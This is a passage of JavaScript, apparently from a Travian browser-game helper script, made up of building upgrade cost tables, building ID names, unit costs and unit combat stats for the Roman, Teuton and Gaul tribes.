430],\n\t\t[1475, 920, 740, 555],\t// Level 10\n\t\t[1890, 1180, 945, 710],\n\t\t[2420, 1510, 1210, 905],\n\t\t[3095, 1935, 1545, 1160],\n\t\t[3960, 2475, 1980, 1485],\n\t\t[5070, 3170, 2535, 1900],\t// Level 15\n\t\t[6490, 4055, 3245, 2435],\n\t\t[8310, 5190, 4155, 3115],\n\t\t[10635, 6645, 5315, 3990],\n\t\t[13610, 8505, 6805, 5105],\n\t\t[17420, 10890, 8710, 6535]\t// Level 20\n\t];\n\n\t// Terraplen\n\tvar wallTeutonsCost = [\n\t\t[0, 0, 0, 0],\n\t\t[120, 200, 0, 80],\n\t\t[155, 255, 0, 100],\n\t\t[195, 330, 0, 130],\n\t\t[250, 420, 0, 170],\n\t\t[320, 535, 0, 215],\t// Level 5\n\t\t[410, 685, 0, 275],\n\t\t[530, 880, 0, 350],\n\t\t[675, 1125, 0, 450],\n\t\t[865, 1440, 0, 575],\n\t\t[1105, 1845, 0, 740],\t// Level 10\n\t\t[1415, 2360, 0, 945],\n\t\t[1815, 3020, 0, 1210],\n\t\t[2320, 3870, 0, 1545],\n\t\t[2970, 4950, 0, 1980],\n\t\t[3805, 6340, 0, 2535],\t// Level 15\n\t\t[4870, 8115, 0, 3245],\n\t\t[6230, 10385, 0, 4155],\n\t\t[7975, 13290, 0, 5315],\n\t\t[10210, 17015, 0, 6805],\n\t\t[13065, 21780, 0, 8710]\t// Level 20\n\t];\n\n\t// Brewery\n\tvar cerveceriaCost = [\n\t\t[0, 0, 0, 0],\n\t\t[1200, 1400, 1050, 2200],\n\t\t[1535, 1790, 1345, 2815],\n\t\t[1965, 2295, 1720, 3605],\n\t\t[2515, 2935, 2200, 4615],\n\t\t[3220, 3760, 2820, 5905],\t// Level 5\n\t\t[4125, 4810, 3610, 7560],\n\t\t[5280, 6155, 4620, 9675],\n\t\t[6755, 7880, 5910, 12385],\n\t\t[8645, 10090, 7565, 15855],\n\t\t[11070, 12915, 9685, 20290],\t// Level 10\n\t\t[14165, 16530, 12395, 25975],\n\t\t[18135, 21155, 15865, 33245],\n\t\t[23210, 27080, 20310, 42555],\n\t\t[29710, 34660, 25995, 54470],\n\t\t[38030, 44370, 33275, 69720],\t// Level 15\n\t\t[48680, 56790, 42595, 89245],\n\t\t[62310, 72690, 54520, 114230],\n\t\t[79755, 93045, 69785, 146215],\n\t\t[102085, 119100, 89325, 187155],\n\t\t[130670, 152445, 114335, 239560]\t// Level 20\n\t];\n\n\t// Hero's mansion\n\tvar casaHeroeCost = [\n\t\t[0, 0, 0, 0],\n\t\t[700, 670, 700, 240],\n\t\t[930, 890, 930, 320],\n\t\t[1240, 1185, 1240, 425],\n\t\t[1645, 1575, 1645, 565],\n\t\t[2190, 2095, 2190, 750],\t// Level 5\n\t\t[2915, 2790, 2915, 1000],\n\t\t[3875, 3710, 3875, 1330],\n\t\t[5155, 4930, 5155, 1765],\n\t\t[6855, 6560, 6855, 2350],\n\t\t[9115, 8725, 9115, 3125],\t// Level 10\n\t\t[12125, 11605, 12125, 4155],\n\t\t[16125, 15435, 16125, 5530],\n\t\t[21445, 20525, 21445, 7350],\n\t\t[28520, 27300, 28520, 9780],\n\t\t[37935, 36310, 37935, 13005],\t// Level 15\n\t\t[50450, 48290, 50450, 17300],\n\t\t[67100, 64225, 67100, 23005],\n\t\t[89245, 85420, 89245, 30600],\n\t\t[118695, 113605, 118695, 40695],\n\t\t[157865, 151095, 157865, 54125]\t// Level 20\n\t];\n\n\t// Trapper\n\tvar trampaCost = [\n\t\t[0, 0, 0, 0],\n\t\t[100, 100, 100, 100],\n\t\t[130, 130, 130, 130],\n\t\t[165, 165, 165, 165],\n\t\t[210, 210, 210, 210],\n\t\t[270, 270, 270, 270],\t// Level 5\n\t\t[345, 345, 345, 345],\n\t\t[440, 440, 440, 440],\n\t\t[565, 565, 565, 565],\n\t\t[720, 720, 720, 720],\n\t\t[920, 920, 920, 920],\t// Level 10\n\t\t[1180, 1180, 1180, 1180],\n\t\t[1510, 1510, 1510, 1510],\n\t\t[1935, 1935, 1935, 1935],\n\t\t[2475, 2475, 2475, 2475],\n\t\t[3170, 3170, 3170, 3170],\t// Level 15\n\t\t[4055, 4055, 4055, 4055],\n\t\t[5190, 5190, 5190, 5190],\n\t\t[6645, 6645, 6645, 6645],\n\t\t[8505, 8505, 8505, 8505],\n\t\t[10890, 10890, 10890, 10890]\t// Level 20\n\t];\n\n\t// Stonemason\n\tvar canteroCost = [\n\t\t[0, 0, 0, 0],\n\t\t[155, 130, 125, 70],\n\t\t[200, 165, 160, 90],\n\t\t[255, 215, 205, 115],\n\t\t[325, 275, 260, 145],\n\t\t[415, 350, 335, 190],\t// Level 5\n\t\t[535, 445, 430, 240],\n\t\t[680, 570, 550, 310],\n\t\t[875, 730, 705, 395],\n\t\t[1115, 935, 900, 505],\n\t\t[1430, 1200, 1155, 645],\t// Level 10\n\t\t[1830, 1535, 1475, 825],\n\t\t[2340, 1965, 1890, 1060],\n\t\t[3000, 2515, 2420, 1355],\n\t\t[3840, 3220, 3095, 1735],\n\t\t[4910, 4120, 3960, 2220],\t// Level 15\n\t\t[6290, 5275, 5070, 2840],\n\t\t[8050, 6750, 6490, 3635],\n\t\t[10300, 8640, 8310, 4650],\n\t\t[13185, 11060, 10635, 5955],\n\t\t[16880, 14155, 13610, 7620]\t// Level 20\n\t];\n\n\tvar greatWarehouseCost = [\n\t\t[0, 0, 0, 0],\n\t\t[650, 800, 450, 200],\n\t\t[830, 1025, 575, 255],\n\t\t[1065, 1310, 735, 330],\n\t\t[1365, 1680, 945, 420],\n\t\t[1745, 2145, 1210, 535],\t// Level 5\n\t\t[2235, 2750, 1545, 685],\n\t\t[2860, 3520, 1980, 880],\n\t\t[3660, 4505, 2535, 1125],\n\t\t[4685, 5765, 3245, 1440],\n\t\t[5995, 7380, 4150, 1845],\t// Level 10\n\t\t[7675, 9445, 5315, 2360],\n\t\t[9825, 12090, 6800, 3020],\n\t\t[12575, 15475, 8705, 3870],\n\t\t[16095, 19805, 11140, 4950],\n\t\t[20600, 25355, 14260, 6340],\t// Level 15\n\t\t[26365, 32450, 18255, 8115],\n\t\t[33750, 41540, 23365, 10385],\n\t\t[43200, 53170, 29910, 13290],\n\t\t[55295, 68055, 38280, 17015],\n\t\t[70780, 87110, 49000, 21780]\t// Level 20\n\t];\n\n\tvar greatGranaryCost = [\n\t\t[0, 0, 0, 0],\n\t\t[400, 500, 350, 100],\n\t\t[510, 640, 450, 130],\n\t\t[655, 820, 575, 165],\n\t\t[840, 1050, 735, 210],\n\t\t[1075, 1340, 940, 270],\t// Level 5\n\t\t[1375, 1720, 1205, 345],\n\t\t[1760, 2200, 1540, 440],\n\t\t[2250, 2815, 1970, 565],\n\t\t[2880, 3605, 2520, 720],\n\t\t[3690, 4610, 3230, 920],\t// Level 10\n\t\t[4720, 5905, 4130, 1180],\n\t\t[6045, 7555, 5290, 1510],\n\t\t[7735, 9670, 6770, 1935],\n\t\t[9905, 12380, 8665, 2475],\n\t\t[12675, 15845, 11090, 3170],\t// Level 15\n\t\t[16225, 20280, 14200, 4055],\n\t\t[20770, 25960, 18175, 5190],\n\t\t[26585, 33230, 23260, 6645],\n\t\t[34030, 42535, 29775, 8505],\n\t\t[43555, 54445, 38110, 10890]\t// Level 20\n\t];\n\n // Wonder Of The World\n\t\tvar maravillaCost = [\n\t\t[0, 0, 0, 0],\n\t\t[66700, 69050, 72200, 13200],\n\t\t[68535, 70950, 74185, 13565],\n\t\t[70420, 72900, 76225, 13935],\n\t\t[72355, 74905, 78320, 14320],\n\t\t[74345, 76965, 80475, 14715],\n\t\t[76390, 79080, 82690, 15120],\n\t\t[78490, 81255, 84965, 15535],\n\t\t[80650, 83490, 87300, 15960],\n\t\t[82865, 85785, 89700, 16400],\n\t\t[85145, 88145, 92165, 16850],\t// Level 10\n\t\t[87485, 90570, 94700, 17315],\n\t\t[89895, 93060, 97305, 17790],\n\t\t[92365, 95620, 99980, 18280],\n\t\t[94905, 98250, 102730, 18780],\n\t\t[97515, 100950, 105555, 19300],\n\t\t[100195, 103725, 108460, 19830],\n\t\t[102950, 106580, 111440, 20375],\n\t\t[105785, 109510, 114505, 20935],\n\t\t[108690, 112520, 117655, 21510],\n\t\t[111680, 115615, 120890, 22100],\t// Level 20\n\t\t[114755, 118795, 124215, 22710],\n\t\t[117910, 122060, 127630, 23335],\n\t\t[121150, 125420, 131140, 23975],\n\t\t[124480, 128870, 134745, 24635],\n\t\t[127905, 132410, 138455, 25315],\n\t\t[131425, 136055, 142260, 26010],\n\t\t[135035, 139795, 146170, 26725],\n\t\t[138750, 143640, 150190, 27460],\n\t\t[142565, 147590, 154320, 28215],\n\t\t[146485, 151650, 158565, 28990],\t// Level 30\n\t\t[150515, 155820, 162925, 29785],\n\t\t[154655, 160105, 167405, 30605],\n\t\t[158910, 164505, 172010, 31450],\n\t\t[163275, 169030, 176740, 32315],\n\t\t[167770, 173680, 181600, 33200],\n\t\t[172380, 178455, 186595, 34115],\n\t\t[177120, 183360, 191725, 35055],\n\t\t[181995, 188405, 197000, 36015],\n\t\t[186995, 193585, 202415, 37005],\n\t\t[192140, 198910, 207985, 38025],\t// Level 40\n\t\t[197425, 204380, 213705, 39070],\n\t\t[202855, 210000, 219580, 40145],\n\t\t[208430, 215775, 225620, 41250],\n\t\t[214165, 221710, 231825, 42385],\n\t\t[220055, 227805, 238200, 43550],\n\t\t[226105, 234070, 244750, 44745],\n\t\t[232320, 240505, 251480, 45975],\n\t\t[238710, 247120, 258395, 47240],\n\t\t[245275, 253915, 265500, 48540],\n\t\t[252020, 260900, 272800, 49875],\t// Level 50\n\t\t[258950, 268075, 280305, 51245],\n\t\t[266070, 275445, 288010, 52655],\n\t\t[273390, 283020, 295930, 54105],\n\t\t[280905, 290805, 304070, 55590],\n\t\t[288630, 298800, 312430, 57120],\n\t\t[296570, 307020, 321025, 58690],\n\t\t[304725, 315460, 329850, 60305],\n\t\t[313105, 324135, 338925, 61965],\n\t\t[321715, 333050, 348245, 63670],\n\t\t[330565, 342210, 357820, 65420],\t// Level 60\n\t\t[339655, 351620, 367660, 67220],\n\t\t[348995, 361290, 377770, 69065],\n\t\t[358590, 371225, 388160, 70965],\n\t\t[368450, 381435, 398835, 72915],\n\t\t[378585, 391925, 409800, 74920],\n\t\t[388995, 402700, 421070, 76985],\n\t\t[399695, 413775, 432650, 79100],\n\t\t[410685, 425155, 444550, 81275],\n\t\t[421980, 436845, 456775, 83510],\n\t\t[433585, 448860, 469335, 85805],\t// Level 70\n\t\t[445505, 461205, 482240, 88165],\n\t\t[457760, 473885, 495505, 90590],\n\t\t[470345, 486920, 509130, 93080],\n\t\t[483280, 500310, 523130, 95640],\n\t\t[496570, 514065, 537520, 98270],\n\t\t[510225, 528205, 552300, 100975],\n\t\t[524260, 542730, 567490, 103750],\n\t\t[538675, 557655, 583095, 106605],\n\t\t[553490, 572990, 599130, 109535],\n\t\t[568710, 588745, 615605, 112550],\t// Level 80\n\t\t[584350, 604935, 632535, 115645],\n\t\t[600420, 621575, 649930, 118825],\n\t\t[616930, 638665, 667800, 122090],\n\t\t[633895, 656230, 686165, 125450],\n\t\t[651330, 674275, 705035, 128900],\n\t\t[669240, 692820, 724425, 132445],\n\t\t[687645, 711870, 744345, 136085],\n\t\t[706555, 731445, 764815, 139830],\n\t\t[725985, 751560, 785850, 143675],\n\t\t[745950, 772230, 807460, 147625],\t// Level 90\n\t\t[766460, 793465, 829665, 151685],\n\t\t[787540, 815285, 852480, 155855],\n\t\t[809195, 837705, 875920, 160140],\n\t\t[831450, 860745, 900010, 164545],\n\t\t[854315, 884415, 924760, 169070],\n\t\t[877810, 908735, 950190, 173720],\n\t\t[901950, 933725, 976320, 178495],\n\t\t[926750, 959405, 1000000, 183405],\n\t\t[952235, 985785, 1000000, 188450],\n\t\t[1000000, 1000000, 1000000, 193630]\t// Level 100\n ];\n\n\n\n\tvar buildingCost = new Array();\n\tbuildingCost[0] = lenyadorCost;\n\tbuildingCost[1] = barroCost;\n\tbuildingCost[2] = hierroCost;\n\tbuildingCost[3] = cerealCost;\n\n\tbuildingCost[5] = sawmillCost;\n\tbuildingCost[6] = brickyardCost;\n\tbuildingCost[7] = ironFoundryCost;\n\tbuildingCost[8] = flourMillCost;\n\tbuildingCost[9] = bakeryCost;\n\tbuildingCost[10] = warehouseCost;\n\tbuildingCost[11] = granaryCost;\n\tbuildingCost[12] = blacksmithCost;\n\tbuildingCost[13] = armouryCost;\n\tbuildingCost[14] = tournamentSquareCost;\n\tbuildingCost[15] = mainBuildingCost;\n\tbuildingCost[16] = rallyPointCost;\n\tbuildingCost[17] = marketplaceCost;\n\tbuildingCost[18] = embassyCost;\n\tbuildingCost[19] = barracksCost;\n\tbuildingCost[20] = stableCost;\n\tbuildingCost[21] = workshopCost;\n\tbuildingCost[22] = academyCost;\n\tbuildingCost[23] = crannyCost;\n\tbuildingCost[24] = ayuntamientoCost;\n\tbuildingCost[25] = residenceCost;\n\tbuildingCost[26] = palaceCost;\n\tbuildingCost[27] = tesoroCost;\n\tbuildingCost[28] = oficinaComercioCost;\n\tbuildingCost[29] = greatBarrackCost;\n\tbuildingCost[30] = greatStableCost;\n\tbuildingCost[31] = wallGaulsCost;\n\tbuildingCost[32] = wallRomansCost;\n\tbuildingCost[33] = wallTeutonsCost;\n\tbuildingCost[34] = canteroCost;\n\tbuildingCost[35] = cerveceriaCost;\n\tbuildingCost[36] = trampaCost;\n\tbuildingCost[37] = casaHeroeCost;\n\tbuildingCost[38] = greatWarehouseCost;\n\tbuildingCost[39] = greatGranaryCost;\n\tbuildingCost[40] = maravillaCost;\n\n\tvar gidToName = new Array();\n gidToName[1] = 'lenyador';\n gidToName[2] = 'barro';\n gidToName[3] = 'hierro';\n\tgidToName[4] = 'cereal';\n gidToName[5] = 'sawmill';\n gidToName[6] = 'brickyard';\n gidToName[7] = 'ironFoundry';\n gidToName[8] = 'flourMill';\n gidToName[9] = 'bakery';\n gidToName[10]= 'warehouse';\n gidToName[11]= 'granary';\n gidToName[12]= 'blacksmith';\n gidToName[13]= 'armoury';\n gidToName[14]= 'tournamentSquare';\n gidToName[15]= 'mainBuilding';\n gidToName[16]= 'rallyPoint';\n gidToName[17]= 'marketplace';\n gidToName[18]= 'embassy';\n gidToName[19]= 'barracks';\n gidToName[20]= 'stable';\n gidToName[21]= 'workshop';\n gidToName[22]= 'academy';\n gidToName[23]= 'cranny';\n gidToName[24]= 'ayuntamiento';\n gidToName[25]= 'residence';\n gidToName[26]= 'palace';\n gidToName[27]= 'tesoro';\n gidToName[28]= 'oficinaComercio';\n gidToName[29]= 'greatBarrack';\n gidToName[30]= 'greatStable';\n gidToName[31]= 'wallGauls';\n gidToName[32]= 'wallRomans';\n gidToName[33]= 'wallTeutons';\n gidToName[34]= 'cantero';\n gidToName[35]= 'cerveceria';\n gidToName[36]= 'trampa';\n gidToName[37]= 'casaHeroe';\n gidToName[38]= 'greatWarehouse';\n gidToName[39]= 'greatGranary';\n gidToName[40]= 'maravilla';\n\n\t// Costes de produccion de cada unidad y su carga\n\tvar uc = new Array();\n\n\t// couleur batiment constructible\n\tvar CN_COLOR_NEUTRAL = '#FDF8C1';\n\tvar CN_COLOR_TEXT = '#000000';\n\tvar CN_COLOR_MAX_LEVEL = '#0e0';\n\tvar CN_COLOR_NO_UPGRADE = '#FF6347';\n\tvar CN_COLOR_UPGRADABLE_VIA_NPC = '#FFA07A';\n\n\t// Romanos\n\tuc[1] = [120,100,180,40,40]; \t\t// Legionario\n\tuc[2] = [100,130,160,70,20]; \t\t// Pretoriano\n\tuc[3] = [150,160,210,80,50]; \t\t// Imperano\n\tuc[4] = [140,160,20,40,0]; \t\t// Legati\n\tuc[5] = [550,440,320,100,100];\t \t// Imperatoris\n\tuc[6] = [550,640,800,180,70]; \t\t// Caesaris\n\tuc[7] = [900,360,500,70,0]; \t\t// Carnero\n\tuc[8] = [950,1350,600,90,0]; \t\t// Catapulta\n\tuc[9] = [30750,27200,4500,37500,0]; \t// Senador\n\tuc[10] = [5800,5300,7200,5500,3000]; \t// Descubridor\n\n\t// Germanos\n\tuc[11] = [95,75,40,40,60]; \t\t// Lanzador porras\n\tuc[12] = [145,70,85,40,40]; \t\t// Luchador lanza\n\tuc[13] = [130,120,170,70,50]; \t\t// Luchador hacha\n\tuc[14] = [160,100,50,50,0]; \t\t// Emisario\n\tuc[15] = [370,270,290,75,110]; \t\t// Paladin\n\tuc[16] = [450,515,480,80,80]; \t\t// Caballista teutona\n\tuc[17] = [1000,300,350,70,0]; \t\t// Ariete\n\tuc[18] = [900,1200,600,60,0]; \t\t// Catapulta\n\tuc[19] = [35500,26600,25000,27200,0]; \t// Cabecilla\n\tuc[20] = [7200,5500,5800,6500,3000]; \t// Descubridor\n\n\t// Galos\n\tuc[21] = [100,130,55,30,30]; \t\t// Falange\n\tuc[22] = [140,150,185,60,45]; \t\t// Luchador espada\n\tuc[23] = [170,150,20,40,0]; \t\t// Batidor\n\tuc[24] = [350,450,230,60,75]; \t\t// Rayo\n\tuc[25] = [360,330,280,120,35]; \t\t// Druida\n\tuc[26] = [500,620,675,170,65]; \t\t// Haeduanos\n\tuc[27] = [950,555,330,75,0]; \t\t// Carnero\n\tuc[28] = [960,1450,630,90,0]; \t\t// Catapulta\n\tuc[29] = [30750,45400,31000,37500,0]; \t// Cacique\n\tuc[30] = [5500,7000,5300,4900,3000]; \t// Descubridor\n\n\t// Fauna\n\tuc[31] = [0, 0, 0, 0, 0];\t\t// Rata\n\tuc[32] = [0, 0, 0, 0, 0];\t\t// Ara�a\n\tuc[33] = [0, 0, 0, 0, 0];\t\t// Serpiente\n\tuc[34] = [0, 0, 0, 0, 0];\t\t// Murcielago\n\tuc[35] = [0, 0, 0, 0, 0];\t\t// Jabali\n\tuc[36] = [0, 0, 0, 0, 0];\t\t// Lobo\n\tuc[37] = [0, 0, 0, 0, 0];\t\t// Oso\n\tuc[38] = [0, 0, 0, 0, 0];\t\t// Cocodrilo\n\tuc[39] = [0, 0, 0, 0, 0];\t\t// Tigre\n\tuc[40] = [0, 0, 0, 0, 0];\t\t// Elefante\n\n// Natares\n\tuc[41] = [0, 0, 0, 0, 0];\t\t// Pikeman\n\tuc[42] = [0, 0, 0, 0, 0];\t\t// Thorned warrior\n\tuc[43] = [0, 0, 0, 0, 0];\t\t// Guardsman\n\tuc[44] = [0, 0, 0, 0, 0];\t\t// Birds of prey\n\tuc[45] = [0, 0, 0, 0, 0];\t\t// Axerider\n\tuc[46] = [0, 0, 0, 0, 0];\t\t// Natarian knight\n\tuc[47] = [0, 0, 0, 0, 0];\t\t// Warelephant\n\tuc[48] = [0, 0, 0, 0, 0];\t\t// Ballista\n\tuc[49] = [0, 0, 0, 0, 0];\t\t// Natarian emperor\n\tuc[50] = [0, 0, 0, 0, 0];\t\t// Settler\n\n\t// Otra nueva raza! (demonios? ojos rojos?)\n\tuc[51] = [0, 0, 0, 0, 0];\n\tuc[52] = [0, 0, 0, 0, 0];\n\tuc[53] = [0, 0, 0, 0, 0];\n\tuc[54] = [0, 0, 0, 0, 0];\n\tuc[55] = [0, 0, 0, 0, 0];\n\tuc[56] = [0, 0, 0, 0, 0];\n\tuc[57] = [0, 0, 0, 0, 0];\n\tuc[58] = [0, 0, 0, 0, 0];\n\tuc[59] = [0, 0, 0, 0, 0];\n\tuc[60] = [0, 0, 0, 0, 0];\n\n\tuc[98] = [0, 0, 0, 0, 0];\t\t// Trampa?\n\tuc[99] = [0, 0, 0, 0, 0];\t\t// Trampa?\n\n\t// MDL - more detailed unit data (in string form, so kind of a pain to use with the other stuff)\n\tvar unitNameIndex = 0;\n\tvar unitAttackIndex = 2;\n\tvar unitInfDefenseIndex = 3;\n\tvar unitCavDefenseIndex = 4;\n\tvar unitWoodCostIndex = 5;\n\tvar unitClayCostIndex = 6;\n\tvar unitIronCostIndex = 7;\n\tvar unitCropCostIndex = 8;\n\tvar unitCropConsumptionIndex = 9;\n\tvar unitSpeedIndex = 10;\n\tvar unitBuildingIndex = 11;\n\tvar unitData = [\n\t[null, null, null, null, null, null, null, null, null, null, null, null], // dummy line to get indexes to line up (there is no unit 0)\n\t\t[T('R1'),T('R1'),\"40\",\"35\",\"50\",\"120\",\"100\",\"180\",\"40\",\"1\",\"6\", 'build.php?gid=19'],\n\t\t[T('R2'),T('R2'),\"30\",\"65\",\"35\",\"100\",\"130\",\"160\",\"70\",\"1\",\"5\",'build.php?gid=19'],\n\t\t[T('R3'),T('R3'),\"70\",\"40\",\"25\",\"150\",\"160\",\"210\",\"80\",\"1\",\"7\", 'build.php?gid=19'],\n\t\t[T('R4'),T('R4'),\"0\",\"20\",\"10\",\"140\",\"160\",\"20\",\"40\",\"2\",\"16\",'build.php?gid=20'],\n\t\t[T('R5'),T('R5'),\"120\",\"65\",\"50\",\"550\",\"440\",\"320\",\"100\",\"3\",\"14\",'build.php?gid=20'],\n\t\t[T('R6'),T('R6'),\"180\",\"80\",\"105\",\"550\",\"640\",\"800\",\"180\",\"4\",\"10\",'build.php?gid=20'],\n\t\t[T('R7'),T('R7'),\"60\",\"30\",\"75\",\"900\",\"360\",\"500\",\"70\",\"3\",\"4\",'build.php?gid=21'],\n\t\t[T('R8'),T('R8'),\"75\",\"60\",\"10\",\"950\",\"1350\",\"600\",\"90\",\"6\",\"3\",'build.php?gid=21'],\n\t\t[T('R9'),T('R9'),\"50\",\"40\",\"30\",\"30750\",\"27200\",\"45000\",\"37500\",\"4\",\"4\",'build.php?gid=21'],\n\t\t[T('R10'),T('R10'),\"0\",\"80\",\"80\",\"5800\",\"5300\",\"7200\",\"5500\",\"1\",\"5\",],\n\t\t[T('T1'),T('T1'),\"40\",\"20\",\"5\",\"95\",\"75\",\"40\",\"40\",\"1\",\"7\",'build.php?gid=19'],\n\t\t[T('T2'),T('T2'),\"10\",\"35\",\"60\",\"145\",\"70\",\"85\",\"40\",\"1\",\"7\",'build.php?gid=19'],\n\t\t[T('T3'),T('T3'),\"60\",\"30\",\"30\",\"130\",\"120\",\"170\",\"70\",\"1\",\"6\",'build.php?gid=19'],\n\t\t[T('T4'),T('T4'),\"0\",\"10\",\"5\",\"160\",\"100\",\"50\",\"50\",\"1\",\"9\",'build.php?gid=19'],\n\t\t[T('T5'),T('T5'),\"55\",\"100\",\"40\",\"370\",\"270\",\"290\",\"75\",\"2\",\"10\",'build.php?gid=20'],\n\t\t[T('T6'),T('T6'),\"150\",\"50\",\"75\",\"450\",\"515\",\"480\",\"80\",\"3\",\"9\",'build.php?gid=20'],\n\t\t[T('T7'),T('T7'),\"65\",\"30\",\"80\",\"1000\",\"300\",\"350\",\"70\",\"3\",\"4\",'build.php?gid=21'],\n\t\t[T('T8'),T('T8'),\"50\",\"60\",\"10\",\"900\",\"1200\",\"600\",\"60\",\"6\",\"3\",'build.php?gid=21'],\n\t\t[T('T9'),T('T9'),\"40\",\"60\",\"40\",\"35500\",\"26600\",\"25000\",\"27200\",\"4\",\"4\",],\n\t\t[T('T10'),T('T10'),\"10\",\"80\",\"80\",\"7200\",\"5500\",\"5800\",\"6500\",\"1\",\"5\",],\n\t\t[T('G1'),T('G1'),\"15\",\"40\",\"50\",\"100\",\"130\",\"55\",\"30\",\"1\",\"7\",'build.php?gid=19'],\n\t\t[T('G2'),T('G2'),\"65\",\"35\",\"20\",\"140\",\"150\",\"185\",\"60\",\"1\",\"6\",'build.php?gid=19'],\n\t\t[T('G3'),T('G3'),\"0\",\"20\",\"10\",\"170\",\"150\",\"20\",\"40\",\"2\",\"17\",'build.php?gid=20'],\n\t\t[T('G4'),T('G4'),\"90\",\"25\",\"40\",\"350\",\"450\",\"230\",\"60\",\"2\",\"19\",'build.php?gid=20'],\n\t\t[T('G5'),T('G5'),\"45\",\"115\",\"55\",\"360\",\"330\",\"280\",\"120\",\"2\",\"16\",'build.php?gid=20'],\n\t\t[T('G6'),T('G6'),\"140\",\"50\",\"165\",\"500\",\"620\",\"675\",\"170\",\"3\",\"13\",'build.php?gid=20'],\n\t\t[T('G7'),T('G7'),\"50\",\"30\",\"105\",\"950\",\"555\",\"330\",\"75\",\"3\",\"4\",'build.php?gid=21'],\n\t\t[T('G8'),T('G8'),\"70\",\"45\",\"10\",\"960\",\"1450\",\"630\",\"90\",\"6\",\"3\",'build.php?gid=21'],\n\t\t[T('G9'),T('G9'),\"40\",\"50\",\"50\",\"30750\",\"45400\",\"31000\",\"37500\",\"4\",\"5\",],\n\t\t[T('G10'),T('G10'),\"0\",\"80\",\"80\",\"5500\",\"7000\",\"5300\",\"4900\",\"1\",\"5\",],\n\t\t[T('N1'),T('N1'),\"10\",\"25\",\"10\",\"/\",\"/\",\"/\",\"/\",\"1\",\"20\",],\n\t\t[T('N2'),T('N2'),\"20\",\"35\",\"40\",\"/\",\"/\",\"/\",\"/\",\"1\",\"20\",],\n\t\t[T('N3'),T('N3'),\"60\",\"40\",\"60\",\"/\",\"/\",\"/\",\"/\",\"1\",\"20\",],\n\t\t[T('N4'),T('N4'),\"80\",\"66\",\"50\",\"/\",\"/\",\"/\",\"/\",\"1\",\"20\",],\n\t\t[T('N5'),T('N5'),\"50\",\"70\",\"33\",\"/\",\"/\",\"/\",\"/\",\"2\",\"20\",],\n\t\t[T('N6'),T('N6'),\"100\",\"80\",\"70\",\"/\",\"/\",\"/\",\"/\",\"2\",\"20\",],\n\t\t[T('N7'),T('N7'),\"250\",\"140\",\"200\",\"/\",\"/\",\"/\",\"/\",\"3\",\"20\",],\n\t\t[T('N8'),T('N8'),\"450\",\"380\",\"240\",\"/\",\"/\",\"/\",\"/\",\"3\",\"20\",],\n\t\t[T('N9'),T('N9'),\"200\",\"170\",\"250\",\"/\",\"/\",\"/\",\"/\",\"3\",\"20\",],\n\t\t[T('N10'),T('N10'),\"600\",\"440\",\"520\",\"/\",\"/\",\"/\",\"/\",\"5\",\"20\",],\n\t];\n\n\t// Travian: Battle Analyse\n\t//0-attack 1-lostunits 2-load 3-maxload 4-food 5-statushero 6-lostfood 7-trap 8-i 9-c\n\tvar ats = new Array(0,0,0,0,0,0,0,0,0,0);\n\t//0-def1 1-def2 2-lostunits 3-food 4-statushero 5-lostfood\n\tvar dts = new Array(0,0,0,0,0,0);\n\t//0-att 1-def1 2-def2 3-lumber 4-clay 5-iron 6-crop 7-food 8-speed 9-load\n\tromans = new Array();\n\tromans[0] = new Array(40,35,50,120,100,180,40,1,6,40);\t\t\t\t\t// Legionnaire\n\tromans[1] = new Array(30,65,35,100,130,160,70,1,5,20);\t\t\t\t\t// Praetorian\n\tromans[2] = new Array(70,40,25,150,160,210,80,1,7,50);\t\t\t\t\t// Imperian\n\tromans[3] = new Array(0,20,10,140,160,20,40,2,16,0);\t\t\t\t\t// Equites Legati\n\tromans[4] = new Array(120,65,50,550,440,320,100,3,14,100);\t\t\t\t// Equites Imperatoris\n\tromans[5] = new Array(180,80,105,550,640,800,180,4,10,70);\t\t\t\t// Equites Caesaris\n\tromans[6] = new Array(60,30,75,900,360,500,70,3,4,0);\t\t\t\t\t// Battering Ram\n\tromans[7] = new Array(75,60,10,950,1350,600,90,6,3,0);\t\t\t\t\t// Fire catapult\n\tromans[8] = new Array(50,40,30,30750,27200,45000,37500,4,4,0);\t\t\t// Senator\n\tromans[9] = new Array(0,80,80,5800,5300,7200,5500,1,5,1600);\t\t\t// Settler\n\tromans[10] = new Array(0,0,0,0,0,0,0,6,0,0);\t\t\t\t\t\t\t// Hero\n\tromans[11] = new Array(1,1,1,0,0,0,1,1,1,1,0)\n\tromans[12] = new Array(0,0,0,1,1,1,0,0,0,0,0)\n\tteutons = new Array();\n\tteutons[0] = new Array(40,20,5,95,75,40,40,1,7,60);\t\t\t\t\t\t// Clubswinger\n\tteutons[1] = new Array(10,35,60,145,70,85,40,1,7,40);\t\t\t\t\t// Spearfighter\n\tteutons[2] = new Array(60,30,30,130,120,170,70,1,6,50);\t\t\t\t\t// Axefighter\n\tteutons[3] = new Array(0,10,5,160,100,50,50,1,9,0);\t\t\t\t\t\t// Scout\n\tteutons[4] = new Array(55,100,40,370,270,290,75,2,10,110);\t\t\t\t// Paladin\n\tteutons[5] = new Array(150,50,75,450,515,480,80,3,9,80);\t\t\t\t// Teuton Knight\n\tteutons[6] = new Array(65,30,80,1000,300,350,70,3,4,0);\t\t\t\t\t// Ram\n\tteutons[7] = new Array(50,60,10,900,1200,600,60,6,3,0);\t\t\t\t\t// Catapult\n\tteutons[8] = new Array(40,60,40,35500,26600,25000,27200,4,4,0);\t\t\t// Chief\n\tteutons[9] = new Array(10,80,80,7200,5500,5800,6500,1,5,1600);\t\t\t// Settler\n\tteutons[10] = new Array(0,0,0,0,0,0,0,6,0,0);\t\t\t\t\t\t\t// Hero\n\tteutons[11] = new Array(1,1,1,0,0,0,1,1,1,1,0)\n\tteutons[12] = new Array(0,0,0,1,1,1,0,0,0,0,0)\n\tgauls = new Array(10);\n\tgauls[0] = new Array(15,40,50,100,130,55,30,1,7,30);\t\t\t\t\t// Phalanx\n\tgauls[1] = new Array(65,35,20,140,150,185,60,1,6,45);\t\t\t\t\t// Swordfighter\n\tgauls[2] = new Array(0,20,10,170,150,20,40,2,17,0);\t\t\t\t\t\t// Pathfinder\n\tgauls[3] = new Array(90,25,40,350,450,230,60,2,19,75);\t\t\t\t\t// Theutates Thunder\n\tgauls[4] = new Array(45,115,55,360,330,280,120,2,16,35);\t\t\t\t// Druidrider\n\tgauls[5] = new Array(140,50,165,500,620,675,170,3,13,65);\t\t\t\t// Haeduan\n\tgauls[6] = new Array(50,30,105,950,555,330,75,3,4,0);\t\t\t\t\t// Ram\n\tgauls[7] = new 